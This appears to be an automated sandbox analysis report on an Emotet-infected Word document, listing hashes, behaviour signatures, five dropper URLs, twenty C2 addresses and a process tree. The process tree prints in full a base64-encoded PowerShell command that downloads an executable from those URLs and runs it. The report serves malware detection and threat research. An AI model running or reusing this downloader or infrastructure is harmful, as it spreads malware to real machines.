Analysis

  • max time kernel
    144s
  • max time network
    147s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    28-07-2020 20:05

General

  • Target

    emotet_e2_0f3d19d2092e84e52aa8eec6d932f177849ae15bd1febf920b40e980de9aeb97_2020-07-28__200502._doc.doc

  • Size

    170KB

  • MD5

    05e380652838eebf3720b81e1d953e0e

  • SHA1

    6268484debb275001b13894bc057f17f4610d39c

  • SHA256

    0f3d19d2092e84e52aa8eec6d932f177849ae15bd1febf920b40e980de9aeb97

  • SHA512

    aa9842259151c4dfeee679561a9928f80c5ea7ba7ef930d9b01d309dd473c5b9ff037529b4eb03e5bdecdf53b6c2e854d6f529f428c16f20ea3ccb03c1807f48

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://bunchproperties.com/lyhvmiq/s_ia_4uaq/

exe.dropper

http://badeggdesign.com/cgi-bin/nxr5_o_d6vmj/

exe.dropper

http://calledtochange.org/calledtochange/0_76zqg_bwnxpr84/

exe.dropper

http://www.cinefamily.org/phpMyAdmin-4.7.9-all-languages/5um_oot_hz8/

exe.dropper

http://bodbderg.net/wp-admin/ogfv5_4_x2l/

Extracted

Family

emotet

C2

76.27.179.47:80

212.51.142.238:8080

189.212.199.126:443

61.19.246.238:443

162.154.38.103:80

91.211.88.52:7080

83.110.223.58:443

124.45.106.173:443

116.203.32.252:8080

109.117.53.230:443

5.196.74.210:8080

75.139.38.211:80

168.235.67.138:7080

176.111.60.55:8080

169.239.182.217:8080

74.208.45.104:8080

31.31.77.83:443

222.214.218.37:4143

37.139.21.175:8080

91.205.215.66:443

rsa_pubkey.plain

Signatures

  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious use of SetWindowsHookEx 13 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_0f3d19d2092e84e52aa8eec6d932f177849ae15bd1febf920b40e980de9aeb97_2020-07-28__200502._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3876
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABVAEYAQgBJAEkAbABpAGkAPQAnAEcASABBAE8ARQBsAHoAbwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAGAAUgBpAGAAVABgAFkAUABSAG8AYABUAG8AQwBvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABTAFcARQBSAEwAcQBiAHoAIAA9ACAAJwA4ADUAMwAnADsAJABIAEcATgBQAEsAcwB1AG0APQAnAE0ASABYAFoAQwBkAGcAbAAnADsAJABOAFQAVwBYAFoAbgBqAHgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAVwBFAFIATABxAGIAegArACcALgBlAHgAZQAnADsAJABGAEsATABQAFIAbgBjAHAAPQAnAEUAUgBUAFMAWAB1AG8AcwAnADsAJABKAEQAVQBGAEIAdABjAHAAPQAuACgAJwBuAGUAJwArACcAdwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAEIAQwBMAGkAZQBOAFQAOwAkAEUARgBCAFkASABoAG4AaQA9ACcAaAB0AHQAcAA6AC8ALwBiAHUAbgBjAGgAcAByAG8AcABlAHIAdABpAGUAcwAuAGMAbwBtAC8AbAB5AGgAdgBtAGkAcQAvAHMAXwBpAGEAXwA0AHUAYQBxAC8AKgBoAHQAdABwADoALwAvAGIAYQBkAGUAZwBnAGQAZQBzAGkAZwBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AbgB4AHIANQBfAG8AXwBkADYAdgBtAGoALwAqAGgAdAB0AHAAOgAvAC8AYwBhAGwAbABlAGQAdABvAGMAaABhAG4AZwBlAC4AbwByAGcALwBjAGEAbABsAGUAZAB0AG8AYwBoAGEAbgBnAGUALwAwAF8ANwA2AHoAcQBnAF8AYgB3AG4AeABwAHIAOAA0AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AYwBpAG4AZQBmAGEAbQBpAGwAeQAuAG8AcgBnAC8AcABoAHAATQB5AEEAZABtAGkAbgAtADQALgA3AC4AOQAtAGEAbABsAC0AbABhAG4AZwB1AGEAZwBlAHMALwA1AHUAbQBfAG8AbwB0AF8AaAB6ADgALwAqAGgAdAB0AHAAOgAvAC8AYgBvAGQAYgBkAGUAcgBnAC4AbgBlAHQALwB3AHAALQBhAGQAbQBpAG4ALwBvAGcAZgB2ADUAXwA0AF8AeAAyAGwALwAnAC4AIgBzAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAUABRAFEATgB6AHAAdwA9ACcASgBIAFkASwBZAGEAZwBqACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAFQATgBCAEMAZgBiAHEAIABpAG4AIAAkAEUARgBCAFkASABoAG4AaQApAHsAdAByAHkAewAkAEoARABVAEYAQgB0AGMAcAAuACIAZABPAHcATgBgAEwAbwBgAEEAZABgAEYASQBsAEUAIgAoACQARABUAE4AQgBDAGYAYgBxACwAIAAkAE4AVABXAFgAWgBuAGoAeAApADsAJABDAFMAUABBAE0AdQBkAHEAPQAnAFoAVABLAEQATABrAGkAegAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAE4AVABXAFgAWgBuAGoAeAApAC4AIgBMAEUATgBgAGcAYABUAEgAIgAgAC0AZwBlACAAMwA2ADQANwA1ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAGAAUgBlAGEAYABUAEUAIgAoACQATgBUAFcAWABaAG4AagB4ACkAOwAkAFAAWABMAFoAVQB1AHQAaAA9ACcAVABUAFQATABOAGkAbQBhACcAOwBiAHIAZQBhAGsAOwAkAEcAQwBXAE0AVwBlAHEAYwA9ACcARwBXAE8AQwBZAGUAZgB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAUwBVAEYAVABtAG0AeAA9ACcARwBJAFcAVQBZAGoAZAB0ACcA
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    PID:2264
  • C:\Users\Admin\853.exe
    C:\Users\Admin\853.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    PID:3892
    • C:\Windows\SysWOW64\tbs\dssec.exe
      "C:\Windows\SysWOW64\tbs\dssec.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1776

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1776-12-0x0000000000710000-0x000000000071C000-memory.dmp

    Filesize

    48KB

  • memory/3876-4-0x00000204C989A000-0x00000204C989D000-memory.dmp

    Filesize

    12KB

  • memory/3892-9-0x0000000000AE0000-0x0000000000AEC000-memory.dmp

    Filesize

    48KB